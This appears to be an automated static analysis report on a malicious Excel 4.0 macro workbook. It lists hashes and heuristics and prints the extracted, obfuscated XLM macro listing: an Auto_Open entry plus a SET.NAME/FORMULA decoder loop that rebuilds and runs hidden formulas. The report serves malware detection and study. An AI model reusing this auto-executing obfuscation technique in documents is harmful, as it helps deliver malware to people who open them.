Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dd0df82cae5343fa…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:31:17 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 84f2cea21a95ef9be1025b07f5344d95 SHA-1: 00e89abd2243d41c687c8bcf197bfc38ecbf69f0 SHA-256: dd0df82cae5343fa8a1c405cb3d49c40cfb6d56ecd78ff50a54ee0ffc910cc23
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6430 bytes
SHA-256: 02203fbfb12a142e5fc40ac38b75eb4dff0551f9951579c3d38ced608c9196aa
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  oyd
' 0018     21 LABEL : Cell Value, String Constant - aBciza len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A135 
' 0018     21 LABEL : Cell Value, String Constant - ClRhFv len=0 
' 0018     25 LABEL : Cell Value, String Constant - GkcJAmSWqc len=0 
' 0018     22 LABEL : Cell Value, String Constant - gtHkdGA len=0 
' 0018     27 LABEL : Cell Value, String Constant - HhFZOFywJUax len=0 
' 0018     24 LABEL : Cell Value, String Constant - hIjKDAoiB len=0 
' 0018     20 LABEL : Cell Value, String Constant - JUmTa len=0 
' 0018     22 LABEL : Cell Value, String Constant - lnTyPfv len=0 
' 0018     27 LABEL : Cell Value, String Constant - LWcYwlaJpWuR len=0 
' 0018     27 LABEL : Cell Value, String Constant - nGArXQZApzik len=0 
' 0018     22 LABEL : Cell Value, String Constant - njkKDUM len=0 
' 0018     26 LABEL : Cell Value, String Constant - OePPWNqcCCJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - pzXOxILxjuL len=0 
' 0018     23 LABEL : Cell Value, String Constant - SCBIJYbb len=0 
' 0018     26 LABEL : Cell Value, String Constant - tBilMLmJSct len=0 
' 0018     22 LABEL : Cell Value, String Constant - UEAtLVb len=0 
' 0018     24 LABEL : Cell Value, String Constant - wGmJtGBDy len=0 
' 0018     25 LABEL : Cell Value, String Constant - WpnXqNzQZJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - xyGAad len=0 
' 0018     22 LABEL : Cell Value, String Constant - zJRkFgi len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  oyd,A50,"SET.NAME("OePPWNqcCCJ",VALUE("0"))",""
'  oyd,A54,"SET.NAME("SCBIJYbb",OePPWNqcCCJ)",""
'  oyd,A57,"SET.NAME("xyGAad",OePPWNqcCCJ)",""
'  oyd,A59,"SET.NAME("gtHkdGA",COUNTA(zJRkFgi))",""
'  oyd,A62,"SET.NAME("LWcYwlaJpWuR",COUNTA(ClRhFv))",""
'  oyd,A66,[],""
'  oyd,A69,"SET.NAME("wGmJtGBDy","")",""
'  oyd,A72,"SCBIJYbb",""
'  oyd,A74,"SET.NAME("GkcJAmSWqc",HLOOKUP("*",zJRkFgi,SCBIJYbb,FALSE))",""
'  oyd,A79,"UEAtLVb",""
'  oyd,A81,"SET.NAME("JUmTa",OePPWNqcCCJ)",""
'  oyd,A84,[],""
'  oyd,A86,"JUmTa",""
'  oyd,A90,"WpnXqNzQZJ",""
'  oyd,A93,"lnTyPfv",""
'  oyd,A98,"pzXOxILxjuL",""
'  oyd,A102,"SET.NAME("njkKDUM",VALUE(HLOOKUP("*",ClRhFv,pzXOxILxjuL,FALSE)))",""
'  oyd,A104,"tBilMLmJSct",""
'  oyd,A108,"wGmJtGBDy",""
'  oyd,A113,"xyGAad",""
'  oyd,A115,NEXT(),""
'  oyd,A119,"aBciza",""
'  oyd,A124,"SET.NAME("f",INT(T(FORMULA(T(wGmJtGBDy)&"",""&T(aBciza)))))",""
'  oyd,A126,"nGArXQZApzik",""
'  oyd,A130,NEXT(),""
'  oyd,A132,RETURN(),""
'  oyd,A163,"SET.NAME("HhFZOFywJUax",A50)",""
'  oyd,A165,"zJRkFgi",""
'  oyd,A169,"SET.NAME("ClRhFv",R44C12)",""
'  oyd,A174,"SET.NAME("nGArXQZApzik",181)",""
'  oyd,A177,"SET.NAME("hIjKDAoiB",1)",""
'  oyd,A180,HhFZOFywJUax(),""
'  oyd,A181,HALT(),""